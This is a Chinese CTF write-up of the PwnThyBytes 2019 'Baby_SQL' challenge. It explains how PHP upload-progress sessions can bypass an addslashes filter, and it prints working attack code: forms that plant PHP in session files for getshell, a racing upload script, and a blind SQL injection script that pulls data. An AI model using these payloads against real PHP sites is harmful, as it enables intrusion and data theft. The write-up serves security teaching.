[PwnThyBytes 2019] Baby_SQL

本文详细讲解了如何利用PHP中的SESSION机制、Sql注入和文件上传功能进行安全漏洞利用,包括设置恶意的PHP_SESSION_UPLOAD_PROGRESS、控制session文件名以及构造payload绕过过滤。通过实例展示了如何在登录和注册过程中进行SQL注入攻击并获取flag。
摘要由CSDN通过智能技术生成

[PwnThyBytes 2019] Baby_SQL

考察点:Session、Sql注入

0x00 前置知识

参考资料:https://cloud.tencent.com/developer/article/2035863

PHP SESSION 的存储

Session会话储存方式

PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

与 SESSION 有关的几个 PHP 选项

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

Session Upload Progress

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 SESSION中获得。当PHP检测到这种POST请求时,它会在_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

php官方文档查询上传进度的样例:

<form action="upload.php" method="POST" enctype="multipart/form-data" >
    <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="111" />
 	<input type="file" name="file0" />
    <input type="file" name="file1" />
    <input type="submit" name="hhhh" />
    
</form>

session.upload_progress.name是用户可控的,只要在上传文件时,同时POST一个恶意字段 PHP_SESSION_UPLOAD_PROGRESS 让目标服务器的PHP session启动,进而自动创建Session文件,如果某个界面存在文件包含漏洞,包含该session文件即可实现GetShell(需要进行竞争访问,因为session.upload_progress.cleanup = On是默认选项,保留时间由session.gc_probabilitysession.gc_divisor共同决定,默认情况下为1440s,即24min)。

构造如下表单:

<!doctype html>
<html>
    <head>
    <meta charset="UTF-8">
    <script>
        (function(){document.cookie = "PHPSESSID=123;path=/";})();
    </script>   
    </head>
	<body>
    	<form action="http://127.0.0.1:8888/Baby_SQL/index.php" method="POST" enctype="multipart/form-data" >
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
            <input type="file" name="file0" />
            <input type="submit" value="提交" />
        </form>
    </body>
</html>

但上面生成的session文件名为sess_hirkf4l2qaenfui7nc2cu5fu55,难以利用

但我们可以实现控制session文件名,操作如下:

将Cookie的值设置为PHPSESSID=hhh(这样生成的文件名就会是sess_hhh)

然后将选择恶意文件并提交

例如:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html

脚本实现:

import io
import requests
import threading

sessid = 'whoami'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功写入sess_whoami")

0x01 代码审计

index.php提示source.zip源代码泄露

index.php:

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);//将特殊字符转义
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

可以看到这里将通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤,将特殊字符进行了转义操作(即在前面加\)。

register.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>

login.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

login.php和register.php都有很明显的注入语句

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';

只要令username的值为 1 or 1=1 limit 0,1 #即可

但是如何绕过对特殊符号的限制呢?

0x02 进行sql注入

index.php的第一行有

session_start();进行了session会话的初始化,提示利用session

在login.php和register.php的第一行都有!isset($_SESSION) AND die("Direct access on this script is not allowed!");

所以其实是可以直接访问login.php(带上Get-username和session)来实现sql注入,而无需经过index.php的filter过滤。

在请求包中加入这么一段,multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start(),所以不用通过index.php也行,实现了绕过

------WebKitFormBoundaryiQwvnfiUcZDHImBt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();?>
------WebKitFormBoundaryiQwvnfiUcZDHImBt

0x03 payload

import io
import requests

url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = f"test\" or (ascii(substr((select database()),{i},1))>{mid})#" 
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})#"
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),{i},1))>{mid})#"
       payload = "test\" or (ascii(substr((select secret from flag_tbl),{i},1))>{mid})#"
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      
           low = mid+1     # 为真时,即判断正确的时候,low=mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)
  • 11
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值